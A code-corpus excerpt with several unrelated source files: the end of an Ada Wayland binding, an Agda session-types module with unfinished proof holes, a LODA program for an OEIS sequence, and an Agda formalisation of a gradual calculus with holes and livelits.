-- function Display_Create_Queue (Object : Display_Ptr) return System.Address
-- with Import, Convention => C, External_Name => "wl_display_create_queue";
-- function Display_Dispatch_Queue
-- (Object : Display_Ptr;
-- Queue : System.Address) return int
-- with Import, Convention => C, External_Name => "wl_display_dispatch_queue";
-- function Display_Dispatch_Queue_Pending
-- (Object : Display_Ptr;
-- Queue : System.Address) return int
-- with Import, Convention => C, External_Name => "wl_display_dispatch_queue_pending";
-- function Display_Roundtrip_Queue (Object : Display_Ptr; Queue : System.Address) return int
-- with Import, Convention => C, External_Name => "wl_display_roundtrip_queue";
-- function Display_Prepare_Read_Queue (Object : Display_Ptr; Queue : System.Address) return int
-- with Import, Convention => C, External_Name => "wl_display_prepare_read_queue";
-- procedure Proxy_Set_Queue (Object : in out Proxy; Queue : access Event_Queue)
-- with Import, Convention => C, External_Name => "wl_proxy_set_queue";
-- procedure Event_Queue_Destroy (Object : in out Event_Queue)
-- with Import, Convention => C, External_Name => "wl_event_queue_destroy";
private
type Proxy is limited null record;
end Wayland.API;
|
src/DSession.agda | peterthiemann/definitional-session | 9 | 12670 | <reponame>peterthiemann/definitional-session
module DSession where
open import Data.Bool
open import Data.Fin
open import Data.Empty
open import Data.List
open import Data.List.All
open import Data.Maybe hiding (All)
open import Data.Nat
open import Data.Product
open import Data.Sum
open import Data.Unit
open import Function using (_$_)
open import Relation.Nullary
open import Relation.Binary.PropositionalEquality
open import Typing
open import Syntax
open import Global
open import Channel
open import Values
-- this is really just a Kleisli arrow
data Cont (G : SCtx) (φ : TCtx) (t : Type) : Type → Set where
ident :
(ina-G : Inactive G)
→ (unr-φ : All Unr φ)
→ Cont G φ t t
bind : ∀ {φ₁ φ₂ G₁ G₂ t₂ t₃}
→ (ts : Split φ φ₁ φ₂)
→ (ss : SSplit G G₁ G₂)
→ (e₂ : Expr (t ∷ φ₁) t₂)
→ (ϱ₂ : VEnv G₁ φ₁)
→ (κ₂ : Cont G₂ φ₂ t₂ t₃)
→ Cont G φ t t₃
subsume : ∀ {t₁ t₂}
→ (t≤t1 : SubT t t₁)
→ (κ : Cont G φ t₁ t₂)
→ Cont G φ t t₂
compose : ∀ {G G₁ G₂ φ φ₁ φ₂ t₁ t₂ t₃}
→ Split φ φ₁ φ₂
→ SSplit G G₁ G₂
→ Cont G₁ φ₁ t₁ t₂
→ Cont G₂ φ₂ t₂ t₃
→ Cont G φ t₁ t₃
compose ss ssp (ident ina-G unr-φ) (ident ina-G₁ unr-φ₁) =
ident (ssplit-inactive ssp ina-G ina-G₁) (split-unr ss unr-φ unr-φ₁)
compose ss ssp (ident ina-G unr-φ) (bind ts ss₁ e₂ ϱ₂ κ₂) = bind {!!} {!!} e₂ ϱ₂ κ₂
compose ss ssp (ident ina-G unr-φ) (subsume t≤t1 κ₂)
with inactive-left-ssplit ssp ina-G
... | refl
= subsume t≤t1 {!!}
compose ss ssp (bind ts ss₁ e₂ ϱ₂ κ₁) (ident ina-G unr-φ) = {!!}
compose ss ssp (bind ts ss₁ e₂ ϱ₂ κ₁) (bind ts₁ ss₂ e₃ ϱ₃ κ₂) = {!!}
compose ss ssp (bind ts ss₁ e₂ ϱ₂ κ₁) (subsume t≤t1 κ₂) = {!!}
compose ss ssp (subsume t≤t1 κ₁) (ident ina-G unr-φ) = {!!}
compose ss ssp (subsume t≤t1 κ₁) (bind ts ss₁ e₂ ϱ₂ κ₂) = {!!}
compose ss ssp (subsume t≤t1 κ₁) (subsume t≤t2 κ₂) = {!!}
-- command is a monad
data Command (G : SCtx) (t : Type) : Set where
Return : (v : Val G t)
→ Command G t
Fork : ∀ {φ₁ φ₂ G₁ G₂}
→ (ss : SSplit G G₁ G₂)
→ (κ₁ : Cont G₁ φ₁ TUnit TUnit)
→ (κ₂ : Cont G₂ φ₂ TUnit t)
→ Command G t
New : ∀ {φ}
→ (s : SType)
→ (κ : Cont G φ (TPair (TChan (SType.force s)) (TChan (SType.force (dual s)))) t)
→ Command G t
Close : ∀ {φ G₁ G₂}
→ (ss : SSplit G G₁ G₂)
→ (v : Val G₁ (TChan send!))
→ (κ : Cont G₂ φ TUnit t)
→ Command G t
Wait : ∀ {φ G₁ G₂}
→ (ss : SSplit G G₁ G₂)
→ (v : Val G₁ (TChan send?))
→ (κ : Cont G₂ φ TUnit t)
→ Command G t
Send : ∀ {φ G₁ G₂ G₁₁ G₁₂ tv s}
→ (ss : SSplit G G₁ G₂)
→ (ss-args : SSplit G₁ G₁₁ G₁₂)
→ (vch : Val G₁₁ (TChan (send tv s)))
→ (v : Val G₁₂ tv)
→ (κ : Cont G₂ φ (TChan (SType.force s)) t)
→ Command G t
Recv : ∀ {φ G₁ G₂ tv s}
→ (ss : SSplit G G₁ G₂)
→ (vch : Val G₁ (TChan (recv tv s)))
→ (κ : Cont G₂ φ (TPair (TChan (SType.force s)) tv) t)
→ Command G t
Select : ∀ {φ G₁ G₂ s₁ s₂}
→ (ss : SSplit G G₁ G₂)
→ (lab : Selector)
→ (vch : Val G₁ (TChan (sintern s₁ s₂)))
→ (κ : Cont G₂ φ (TChan (selection lab (SType.force s₁) (SType.force s₂))) t)
→ Command G t
Branch : ∀ {φ G₁ G₂ s₁ s₂}
→ (ss : SSplit G G₁ G₂)
→ (vch : Val G₁ (TChan (sextern s₁ s₂)))
→ (dcont : (lab : Selector) → Cont G₂ φ (TChan (selection lab (SType.force s₁) (SType.force s₂))) t)
→ Command G t
NSelect : ∀ {φ G₁ G₂ m alt}
→ (ss : SSplit G G₁ G₂)
→ (lab : Fin m)
→ (vch : Val G₁ (TChan (sintN m alt)))
→ (κ : Cont G₂ φ (TChan (SType.force (alt lab))) t)
→ Command G t
NBranch : ∀ {φ G₁ G₂ m alt}
→ (ss : SSplit G G₁ G₂)
→ (vch : Val G₁ (TChan (sextN m alt)))
→ (dcont : (lab : Fin m) → Cont G₂ φ (TChan (SType.force (alt lab))) t)
→ Command G t
-- cont G = ∀ G' → G ≤ G' → SSplit G' Gval Gcont → Val Gval t →
data _≼_ G : SCtx → Set where
≼-rfl : G ≼ G
≼-ext : ∀ {G'} → G ≼ G' → G ≼ (nothing ∷ G')
{-
mbindf : ∀ {Gin G1in G2in G1out G2out t t'} → SSplit Gin G1in G2in
→ Command G1in G1out t
→ (∀ G2in' G1out' G2out' → G2in ≼ G2in' → G1out ≼ G1out' → G2out ≼ G2out'
→ Val G1out' t → Command G2in' G2out' t')
→ Command Gin G2out t'
mbindf = {!!}
-}
mbind : ∀ {G G₁ G₂ Φ t t'} → SSplit G G₁ G₂ → Command G₁ t → Cont G₂ Φ t t' → Command G t'
mbind ssp (Return v) (ident x x₁)
with inactive-right-ssplit ssp x
... | refl
= Return v
mbind ssp (Return v) (bind ts ss e₂ ϱ₂ cont) = {!!}
mbind ssp (Return v) (subsume t≤t1 cont) = {!!}
mbind ssp (Fork ss κ₁ κ₂) cont = Fork {!!} κ₁ {!!}
mbind ssp (New s κ) cont = {!!}
mbind ssp (Close ss v κ) cont = {!!}
mbind ssp (Wait ss v κ) cont = {!!}
mbind ssp (Send ss ss-args vch v κ) cont = {!!}
mbind ssp (Recv ss vch κ) cont = {!!}
mbind ssp (Select ss lab vch κ) cont = {!!}
mbind ssp (Branch ss vch dcont) cont = {!!}
mbind ssp (NSelect ss lab vch κ) cont = {!!}
mbind ssp (NBranch ss vch dcont) cont = {!!}
|
programs/oeis/007/A007401.asm | neoneye/loda | 22 | 241188 | ; A007401: Add n-1 to n-th term of 'n appears n times' sequence (A002024).
; 1,3,4,6,7,8,10,11,12,13,15,16,17,18,19,21,22,23,24,25,26,28,29,30,31,32,33,34,36,37,38,39,40,41,42,43,45,46,47,48,49,50,51,52,53,55,56,57,58,59,60,61,62,63,64,66,67,68,69,70,71,72,73,74,75,76,78,79,80,81,82,83,84,85,86,87,88,89,91,92,93,94,95,96,97,98,99,100,101,102,103,105,106,107,108,109,110,111,112,113
mov $1,1
mov $2,$0
lpb $0
add $1,1
trn $0,$1
lpe
add $1,$2
mov $0,$1
|
core.agda | hazelgrove/hazel-palette-agda | 4 | 9388 | <filename>core.agda
open import Nat
open import Prelude
open import List
open import contexts
module core where
-- types
data typ : Set where
b : typ
⦇·⦈ : typ
_==>_ : typ → typ → typ
_⊗_ : typ → typ → typ
-- arrow type constructors bind very tightly
infixr 25 _==>_
infixr 25 _⊗_
-- we use natural numbers as names throughout the development. here we
-- provide some aliases to that the definitions below are more readable
-- about what's being named, even though the underlying implementations
-- are the same and there's no abstraction protecting you from breaking
-- invariants.
-- written `x` in math
varname : Set
varname = Nat
-- written `u` in math
holename : Set
holename = Nat
-- written `a` in math
livelitname : Set
livelitname = Nat
-- "external expressions", or the middle layer of expressions. presented
-- first because of the dependence structure below.
data eexp : Set where
c : eexp
_·:_ : eexp → typ → eexp
X : varname → eexp
·λ : varname → eexp → eexp
·λ_[_]_ : varname → typ → eexp → eexp
⦇⦈[_] : holename → eexp
⦇⌜_⌟⦈[_] : eexp → holename → eexp
_∘_ : eexp → eexp → eexp
⟨_,_⟩ : eexp → eexp → eexp
fst : eexp → eexp
snd : eexp → eexp
-- the type of type contexts, i.e. Γs in the judegments below
tctx : Set
tctx = typ ctx
mutual
-- identity substitution, substitition environments
data env : Set where
Id : (Γ : tctx) → env
Subst : (d : iexp) → (y : varname) → env → env
-- internal expressions, the bottom most layer of expresions. these are
-- what the elaboration phase targets and the expressions on which
-- evaluation is given.
data iexp : Set where
c : iexp
X : varname → iexp
·λ_[_]_ : varname → typ → iexp → iexp
⦇⦈⟨_⟩ : (holename × env) → iexp
⦇⌜_⌟⦈⟨_⟩ : iexp → (holename × env) → iexp
_∘_ : iexp → iexp → iexp
_⟨_⇒_⟩ : iexp → typ → typ → iexp
_⟨_⇒⦇⦈⇏_⟩ : iexp → typ → typ → iexp
⟨_,_⟩ : iexp → iexp → iexp
fst : iexp → iexp
snd : iexp → iexp
-- convenient notation for chaining together two agreeable casts
_⟨_⇒_⇒_⟩ : iexp → typ → typ → typ → iexp
d ⟨ τ1 ⇒ τ2 ⇒ τ3 ⟩ = d ⟨ τ1 ⇒ τ2 ⟩ ⟨ τ2 ⇒ τ3 ⟩
record livelitdef : Set where
field
expand : iexp
model-type : typ
expansion-type : typ
-- unexpanded expressions, the outermost layer of expressions: a langauge
-- exactly like eexp, but also with livelits
mutual
data uexp : Set where
c : uexp
_·:_ : uexp → typ → uexp
X : varname → uexp
·λ : varname → uexp → uexp
·λ_[_]_ : varname → typ → uexp → uexp
⦇⦈[_] : holename → uexp
⦇⌜_⌟⦈[_] : uexp → holename → uexp
_∘_ : uexp → uexp → uexp
⟨_,_⟩ : uexp → uexp → uexp
fst : uexp → uexp
snd : uexp → uexp
-- new forms below
$_⟨_⁏_⟩[_] : (a : livelitname) → (d : iexp) → (ϕᵢ : List splice) → (u : holename) → uexp
splice : Set
splice = typ × uexp
-- type consistency
data _~_ : (t1 t2 : typ) → Set where
TCRefl : {τ : typ} → τ ~ τ
TCHole1 : {τ : typ} → τ ~ ⦇·⦈
TCHole2 : {τ : typ} → ⦇·⦈ ~ τ
TCArr : {τ1 τ2 τ1' τ2' : typ} →
τ1 ~ τ1' →
τ2 ~ τ2' →
τ1 ==> τ2 ~ τ1' ==> τ2'
TCProd : {τ1 τ2 τ1' τ2' : typ} →
τ1 ~ τ1' →
τ2 ~ τ2' →
(τ1 ⊗ τ2) ~ (τ1' ⊗ τ2')
-- type inconsistency
data _~̸_ : (τ1 τ2 : typ) → Set where
ICBaseArr1 : {τ1 τ2 : typ} → b ~̸ τ1 ==> τ2
ICBaseArr2 : {τ1 τ2 : typ} → τ1 ==> τ2 ~̸ b
ICArr1 : {τ1 τ2 τ3 τ4 : typ} →
τ1 ~̸ τ3 →
τ1 ==> τ2 ~̸ τ3 ==> τ4
ICArr2 : {τ1 τ2 τ3 τ4 : typ} →
τ2 ~̸ τ4 →
τ1 ==> τ2 ~̸ τ3 ==> τ4
ICBaseProd1 : {τ1 τ2 : typ} → b ~̸ τ1 ⊗ τ2
ICBaseProd2 : {τ1 τ2 : typ} → τ1 ⊗ τ2 ~̸ b
ICProdArr1 : {τ1 τ2 τ3 τ4 : typ} →
τ1 ==> τ2 ~̸ τ3 ⊗ τ4
ICProdArr2 : {τ1 τ2 τ3 τ4 : typ} →
τ1 ⊗ τ2 ~̸ τ3 ==> τ4
ICProd1 : {τ1 τ2 τ3 τ4 : typ} →
τ1 ~̸ τ3 →
τ1 ⊗ τ2 ~̸ τ3 ⊗ τ4
ICProd2 : {τ1 τ2 τ3 τ4 : typ} →
τ2 ~̸ τ4 →
τ1 ⊗ τ2 ~̸ τ3 ⊗ τ4
--- matching for arrows
data _▸arr_ : typ → typ → Set where
MAHole : ⦇·⦈ ▸arr ⦇·⦈ ==> ⦇·⦈
MAArr : {τ1 τ2 : typ} → τ1 ==> τ2 ▸arr τ1 ==> τ2
-- matching for products
data _▸prod_ : typ → typ → Set where
MPHole : ⦇·⦈ ▸prod ⦇·⦈ ⊗ ⦇·⦈
MPProd : {τ1 τ2 : typ} → τ1 ⊗ τ2 ▸prod τ1 ⊗ τ2
-- the type of hole contexts, i.e. Δs in the judgements
hctx : Set
hctx = (typ ctx × typ) ctx
-- notation for a triple to match the CMTT syntax
_::_[_] : holename → typ → tctx → (holename × (tctx × typ))
u :: τ [ Γ ] = u , (Γ , τ)
-- the hole name u does not appear in the term e
data hole-name-new : (e : eexp) (u : holename) → Set where
HNConst : ∀{u} → hole-name-new c u
HNAsc : ∀{e τ u} →
hole-name-new e u →
hole-name-new (e ·: τ) u
HNVar : ∀{x u} → hole-name-new (X x) u
HNLam1 : ∀{x e u} →
hole-name-new e u →
hole-name-new (·λ x e) u
HNLam2 : ∀{x e u τ} →
hole-name-new e u →
hole-name-new (·λ x [ τ ] e) u
HNHole : ∀{u u'} →
u' ≠ u →
hole-name-new (⦇⦈[ u' ]) u
HNNEHole : ∀{u u' e} →
u' ≠ u →
hole-name-new e u →
hole-name-new (⦇⌜ e ⌟⦈[ u' ]) u
HNAp : ∀{ u e1 e2 } →
hole-name-new e1 u →
hole-name-new e2 u →
hole-name-new (e1 ∘ e2) u
HNFst : ∀{ u e } →
hole-name-new e u →
hole-name-new (fst e) u
HNSnd : ∀{ u e } →
hole-name-new e u →
hole-name-new (snd e) u
HNPair : ∀{ u e1 e2 } →
hole-name-new e1 u →
hole-name-new e2 u →
hole-name-new ⟨ e1 , e2 ⟩ u
-- two terms that do not share any hole names
data holes-disjoint : (e1 : eexp) → (e2 : eexp) → Set where
HDConst : ∀{e} → holes-disjoint c e
HDAsc : ∀{e1 e2 τ} → holes-disjoint e1 e2 → holes-disjoint (e1 ·: τ) e2
HDVar : ∀{x e} → holes-disjoint (X x) e
HDLam1 : ∀{x e1 e2} → holes-disjoint e1 e2 → holes-disjoint (·λ x e1) e2
HDLam2 : ∀{x e1 e2 τ} → holes-disjoint e1 e2 → holes-disjoint (·λ x [ τ ] e1) e2
HDHole : ∀{u e2} → hole-name-new e2 u → holes-disjoint (⦇⦈[ u ]) e2
HDNEHole : ∀{u e1 e2} → hole-name-new e2 u → holes-disjoint e1 e2 → holes-disjoint (⦇⌜ e1 ⌟⦈[ u ]) e2
HDAp : ∀{e1 e2 e3} → holes-disjoint e1 e3 → holes-disjoint e2 e3 → holes-disjoint (e1 ∘ e2) e3
HDFst : ∀{e1 e2} → holes-disjoint e1 e2 → holes-disjoint (fst e1) e2
HDSnd : ∀{e1 e2} → holes-disjoint e1 e2 → holes-disjoint (snd e1) e2
HDPair : ∀{e1 e2 e3} → holes-disjoint e1 e3 → holes-disjoint e2 e3 → holes-disjoint ⟨ e1 , e2 ⟩ e3
-- bidirectional type checking judgements for eexp
mutual
-- synthesis
data _⊢_=>_ : (Γ : tctx) (e : eexp) (τ : typ) → Set where
SConst : {Γ : tctx} → Γ ⊢ c => b
SAsc : {Γ : tctx} {e : eexp} {τ : typ} →
Γ ⊢ e <= τ →
Γ ⊢ (e ·: τ) => τ
SVar : {Γ : tctx} {τ : typ} {x : varname} →
(x , τ) ∈ Γ →
Γ ⊢ X x => τ
SAp : {Γ : tctx} {e1 e2 : eexp} {τ τ1 τ2 : typ} →
holes-disjoint e1 e2 →
Γ ⊢ e1 => τ1 →
τ1 ▸arr τ2 ==> τ →
Γ ⊢ e2 <= τ2 →
Γ ⊢ (e1 ∘ e2) => τ
SEHole : {Γ : tctx} {u : holename} → Γ ⊢ ⦇⦈[ u ] => ⦇·⦈
SNEHole : {Γ : tctx} {e : eexp} {τ : typ} {u : holename} →
hole-name-new e u →
Γ ⊢ e => τ →
Γ ⊢ ⦇⌜ e ⌟⦈[ u ] => ⦇·⦈
SLam : {Γ : tctx} {e : eexp} {τ1 τ2 : typ} {x : varname} →
x # Γ →
(Γ ,, (x , τ1)) ⊢ e => τ2 →
Γ ⊢ ·λ x [ τ1 ] e => τ1 ==> τ2
SFst : ∀{ e τ τ1 τ2 Γ} →
Γ ⊢ e => τ →
τ ▸prod τ1 ⊗ τ2 →
Γ ⊢ fst e => τ1
SSnd : ∀{ e τ τ1 τ2 Γ} →
Γ ⊢ e => τ →
τ ▸prod τ1 ⊗ τ2 →
Γ ⊢ snd e => τ2
SPair : ∀{ e1 e2 τ1 τ2 Γ} →
holes-disjoint e1 e2 →
Γ ⊢ e1 => τ1 →
Γ ⊢ e2 => τ2 →
Γ ⊢ ⟨ e1 , e2 ⟩ => τ1 ⊗ τ2
-- analysis
data _⊢_<=_ : (Γ : tctx) (e : eexp) (τ : typ) → Set where
ASubsume : {Γ : tctx} {e : eexp} {τ τ' : typ} →
Γ ⊢ e => τ' →
τ ~ τ' →
Γ ⊢ e <= τ
ALam : {Γ : tctx} {e : eexp} {τ τ1 τ2 : typ} {x : varname} →
x # Γ →
τ ▸arr τ1 ==> τ2 →
(Γ ,, (x , τ1)) ⊢ e <= τ2 →
Γ ⊢ (·λ x e) <= τ
-- those types without holes
data _tcomplete : typ → Set where
TCBase : b tcomplete
TCArr : ∀{τ1 τ2} → τ1 tcomplete → τ2 tcomplete → (τ1 ==> τ2) tcomplete
TCProd : ∀{τ1 τ2} → τ1 tcomplete → τ2 tcomplete → (τ1 ⊗ τ2) tcomplete
-- those external expressions without holes
data _ecomplete : eexp → Set where
ECConst : c ecomplete
ECAsc : ∀{τ e} → τ tcomplete → e ecomplete → (e ·: τ) ecomplete
ECVar : ∀{x} → (X x) ecomplete
ECLam1 : ∀{x e} → e ecomplete → (·λ x e) ecomplete
ECLam2 : ∀{x e τ} → e ecomplete → τ tcomplete → (·λ x [ τ ] e) ecomplete
ECAp : ∀{e1 e2} → e1 ecomplete → e2 ecomplete → (e1 ∘ e2) ecomplete
ECFst : ∀{e} → e ecomplete → (fst e) ecomplete
ECSnd : ∀{e} → e ecomplete → (snd e) ecomplete
ECPair : ∀{e1 e2} → e1 ecomplete → e2 ecomplete → ⟨ e1 , e2 ⟩ ecomplete
-- those internal expressions without holes
data _dcomplete : iexp → Set where
DCVar : ∀{x} → (X x) dcomplete
DCConst : c dcomplete
DCLam : ∀{x τ d} → d dcomplete → τ tcomplete → (·λ x [ τ ] d) dcomplete
DCAp : ∀{d1 d2} → d1 dcomplete → d2 dcomplete → (d1 ∘ d2) dcomplete
DCCast : ∀{d τ1 τ2} → d dcomplete → τ1 tcomplete → τ2 tcomplete → (d ⟨ τ1 ⇒ τ2 ⟩) dcomplete
DCFst : ∀{d} → d dcomplete → (fst d) dcomplete
DCSnd : ∀{d} → d dcomplete → (snd d) dcomplete
DCPair : ∀{d1 d2} → d1 dcomplete → d2 dcomplete → ⟨ d1 , d2 ⟩ dcomplete
-- contexts that only produce complete types
_gcomplete : tctx → Set
Γ gcomplete = (x : varname) (τ : typ) → (x , τ) ∈ Γ → τ tcomplete
-- those internal expressions where every cast is the identity cast and
-- there are no failed casts
data cast-id : iexp → Set where
CIConst : cast-id c
CIVar : ∀{x} → cast-id (X x)
CILam : ∀{x τ d} → cast-id d → cast-id (·λ x [ τ ] d)
CIHole : ∀{u} → cast-id (⦇⦈⟨ u ⟩)
CINEHole : ∀{d u} → cast-id d → cast-id (⦇⌜ d ⌟⦈⟨ u ⟩)
CIAp : ∀{d1 d2} → cast-id d1 → cast-id d2 → cast-id (d1 ∘ d2)
CICast : ∀{d τ} → cast-id d → cast-id (d ⟨ τ ⇒ τ ⟩)
CIFst : ∀{d} → cast-id d → cast-id (fst d)
CISnd : ∀{d} → cast-id d → cast-id (snd d)
CIPair : ∀{d1 d2} → cast-id d1 → cast-id d2 → cast-id ⟨ d1 , d2 ⟩
-- expansion
mutual
-- synthesis
data _⊢_⇒_~>_⊣_ : (Γ : tctx) (e : eexp) (τ : typ) (d : iexp) (Δ : hctx) → Set where
ESConst : ∀{Γ} → Γ ⊢ c ⇒ b ~> c ⊣ ∅
ESVar : ∀{Γ x τ} → (x , τ) ∈ Γ →
Γ ⊢ X x ⇒ τ ~> X x ⊣ ∅
ESLam : ∀{Γ x τ1 τ2 e d Δ } →
(x # Γ) →
(Γ ,, (x , τ1)) ⊢ e ⇒ τ2 ~> d ⊣ Δ →
Γ ⊢ ·λ x [ τ1 ] e ⇒ (τ1 ==> τ2) ~> ·λ x [ τ1 ] d ⊣ Δ
ESAp : ∀{Γ e1 τ τ1 τ1' τ2 τ2' d1 Δ1 e2 d2 Δ2 } →
holes-disjoint e1 e2 →
Δ1 ## Δ2 →
Γ ⊢ e1 => τ1 →
τ1 ▸arr τ2 ==> τ →
Γ ⊢ e1 ⇐ (τ2 ==> τ) ~> d1 :: τ1' ⊣ Δ1 →
Γ ⊢ e2 ⇐ τ2 ~> d2 :: τ2' ⊣ Δ2 →
Γ ⊢ e1 ∘ e2 ⇒ τ ~> (d1 ⟨ τ1' ⇒ τ2 ==> τ ⟩) ∘ (d2 ⟨ τ2' ⇒ τ2 ⟩) ⊣ (Δ1 ∪ Δ2)
ESEHole : ∀{ Γ u } →
Γ ⊢ ⦇⦈[ u ] ⇒ ⦇·⦈ ~> ⦇⦈⟨ u , Id Γ ⟩ ⊣ ■ (u :: ⦇·⦈ [ Γ ])
ESNEHole : ∀{ Γ e τ d u Δ } →
Δ ## (■ (u , Γ , ⦇·⦈)) →
Γ ⊢ e ⇒ τ ~> d ⊣ Δ →
Γ ⊢ ⦇⌜ e ⌟⦈[ u ] ⇒ ⦇·⦈ ~> ⦇⌜ d ⌟⦈⟨ u , Id Γ ⟩ ⊣ (Δ ,, u :: ⦇·⦈ [ Γ ])
ESAsc : ∀ {Γ e τ d τ' Δ} →
Γ ⊢ e ⇐ τ ~> d :: τ' ⊣ Δ →
Γ ⊢ (e ·: τ) ⇒ τ ~> d ⟨ τ' ⇒ τ ⟩ ⊣ Δ
ESFst : ∀{Γ e τ τ' d τ1 τ2 Δ} →
Γ ⊢ e => τ →
τ ▸prod τ1 ⊗ τ2 →
Γ ⊢ e ⇐ τ1 ⊗ τ2 ~> d :: τ' ⊣ Δ →
Γ ⊢ fst e ⇒ τ1 ~> fst (d ⟨ τ' ⇒ τ1 ⊗ τ2 ⟩) ⊣ Δ
ESSnd : ∀{Γ e τ τ' d τ1 τ2 Δ} →
Γ ⊢ e => τ →
τ ▸prod τ1 ⊗ τ2 →
Γ ⊢ e ⇐ τ1 ⊗ τ2 ~> d :: τ' ⊣ Δ →
Γ ⊢ snd e ⇒ τ2 ~> snd (d ⟨ τ' ⇒ τ1 ⊗ τ2 ⟩) ⊣ Δ
ESPair : ∀{Γ e1 τ1 d1 Δ1 e2 τ2 d2 Δ2} →
holes-disjoint e1 e2 →
Δ1 ## Δ2 →
Γ ⊢ e1 ⇒ τ1 ~> d1 ⊣ Δ1 →
Γ ⊢ e2 ⇒ τ2 ~> d2 ⊣ Δ2 →
Γ ⊢ ⟨ e1 , e2 ⟩ ⇒ τ1 ⊗ τ2 ~> ⟨ d1 , d2 ⟩ ⊣ (Δ1 ∪ Δ2)
-- analysis
data _⊢_⇐_~>_::_⊣_ : (Γ : tctx) (e : eexp) (τ : typ) (d : iexp) (τ' : typ) (Δ : hctx) → Set where
EALam : ∀{Γ x τ τ1 τ2 e d τ2' Δ } →
(x # Γ) →
τ ▸arr τ1 ==> τ2 →
(Γ ,, (x , τ1)) ⊢ e ⇐ τ2 ~> d :: τ2' ⊣ Δ →
Γ ⊢ ·λ x e ⇐ τ ~> ·λ x [ τ1 ] d :: τ1 ==> τ2' ⊣ Δ
EASubsume : ∀{e Γ τ' d Δ τ} →
((u : holename) → e ≠ ⦇⦈[ u ]) →
((e' : eexp) (u : holename) → e ≠ ⦇⌜ e' ⌟⦈[ u ]) →
Γ ⊢ e ⇒ τ' ~> d ⊣ Δ →
τ ~ τ' →
Γ ⊢ e ⇐ τ ~> d :: τ' ⊣ Δ
EAEHole : ∀{ Γ u τ } →
Γ ⊢ ⦇⦈[ u ] ⇐ τ ~> ⦇⦈⟨ u , Id Γ ⟩ :: τ ⊣ ■ (u :: τ [ Γ ])
EANEHole : ∀{ Γ e u τ d τ' Δ } →
Δ ## (■ (u , Γ , τ)) →
Γ ⊢ e ⇒ τ' ~> d ⊣ Δ →
Γ ⊢ ⦇⌜ e ⌟⦈[ u ] ⇐ τ ~> ⦇⌜ d ⌟⦈⟨ u , Id Γ ⟩ :: τ ⊣ (Δ ,, u :: τ [ Γ ])
-- ground types
data _ground : (τ : typ) → Set where
GBase : b ground
GHole : ⦇·⦈ ==> ⦇·⦈ ground
GProd : ⦇·⦈ ⊗ ⦇·⦈ ground
mutual
-- substitution typing
data _,_⊢_:s:_ : hctx → tctx → env → tctx → Set where
STAId : ∀{Γ Γ' Δ} →
((x : varname) (τ : typ) → (x , τ) ∈ Γ' → (x , τ) ∈ Γ) →
Δ , Γ ⊢ Id Γ' :s: Γ'
STASubst : ∀{Γ Δ σ y Γ' d τ } →
Δ , Γ ,, (y , τ) ⊢ σ :s: Γ' →
Δ , Γ ⊢ d :: τ →
Δ , Γ ⊢ Subst d y σ :s: Γ'
-- type assignment
data _,_⊢_::_ : (Δ : hctx) (Γ : tctx) (d : iexp) (τ : typ) → Set where
TAConst : ∀{Δ Γ} → Δ , Γ ⊢ c :: b
TAVar : ∀{Δ Γ x τ} → (x , τ) ∈ Γ → Δ , Γ ⊢ X x :: τ
TALam : ∀{ Δ Γ x τ1 d τ2} →
x # Γ →
Δ , (Γ ,, (x , τ1)) ⊢ d :: τ2 →
Δ , Γ ⊢ ·λ x [ τ1 ] d :: (τ1 ==> τ2)
TAAp : ∀{ Δ Γ d1 d2 τ1 τ} →
Δ , Γ ⊢ d1 :: τ1 ==> τ →
Δ , Γ ⊢ d2 :: τ1 →
Δ , Γ ⊢ d1 ∘ d2 :: τ
TAEHole : ∀{ Δ Γ σ u Γ' τ} →
(u , (Γ' , τ)) ∈ Δ →
Δ , Γ ⊢ σ :s: Γ' →
Δ , Γ ⊢ ⦇⦈⟨ u , σ ⟩ :: τ
TANEHole : ∀ { Δ Γ d τ' Γ' u σ τ } →
(u , (Γ' , τ)) ∈ Δ →
Δ , Γ ⊢ d :: τ' →
Δ , Γ ⊢ σ :s: Γ' →
Δ , Γ ⊢ ⦇⌜ d ⌟⦈⟨ u , σ ⟩ :: τ
TACast : ∀{ Δ Γ d τ1 τ2} →
Δ , Γ ⊢ d :: τ1 →
τ1 ~ τ2 →
Δ , Γ ⊢ d ⟨ τ1 ⇒ τ2 ⟩ :: τ2
TAFailedCast : ∀{Δ Γ d τ1 τ2} →
Δ , Γ ⊢ d :: τ1 →
τ1 ground →
τ2 ground →
τ1 ≠ τ2 →
Δ , Γ ⊢ d ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩ :: τ2
TAFst : ∀{Δ Γ d τ1 τ2} →
Δ , Γ ⊢ d :: τ1 ⊗ τ2 →
Δ , Γ ⊢ fst d :: τ1
TASnd : ∀{Δ Γ d τ1 τ2} →
Δ , Γ ⊢ d :: τ1 ⊗ τ2 →
Δ , Γ ⊢ snd d :: τ2
TAPair : ∀{Δ Γ d1 d2 τ1 τ2} →
Δ , Γ ⊢ d1 :: τ1 →
Δ , Γ ⊢ d2 :: τ2 →
Δ , Γ ⊢ ⟨ d1 , d2 ⟩ :: τ1 ⊗ τ2
-- substitution
[_/_]_ : iexp → varname → iexp → iexp
[ d / y ] c = c
[ d / y ] X x
with natEQ x y
[ d / y ] X .y | Inl refl = d
[ d / y ] X x | Inr neq = X x
[ d / y ] (·λ x [ x₁ ] d')
with natEQ x y
[ d / y ] (·λ .y [ τ ] d') | Inl refl = ·λ y [ τ ] d'
[ d / y ] (·λ x [ τ ] d') | Inr x₁ = ·λ x [ τ ] ( [ d / y ] d')
[ d / y ] ⦇⦈⟨ u , σ ⟩ = ⦇⦈⟨ u , Subst d y σ ⟩
[ d / y ] ⦇⌜ d' ⌟⦈⟨ u , σ ⟩ = ⦇⌜ [ d / y ] d' ⌟⦈⟨ u , Subst d y σ ⟩
[ d / y ] (d1 ∘ d2) = ([ d / y ] d1) ∘ ([ d / y ] d2)
[ d / y ] (d' ⟨ τ1 ⇒ τ2 ⟩ ) = ([ d / y ] d') ⟨ τ1 ⇒ τ2 ⟩
[ d / y ] (d' ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩ ) = ([ d / y ] d') ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩
[ d / y ] ⟨ d1 , d2 ⟩ = ⟨ [ d / y ] d1 , [ d / y ] d2 ⟩
[ d / y ] (fst d') = fst ([ d / y ] d')
[ d / y ] (snd d') = snd ([ d / y ] d')
-- applying an environment to an expression
apply-env : env → iexp → iexp
apply-env (Id Γ) d = d
apply-env (Subst d y σ) d' = [ d / y ] ( apply-env σ d')
-- values
data _val : (d : iexp) → Set where
VConst : c val
VLam : ∀{x τ d} → (·λ x [ τ ] d) val
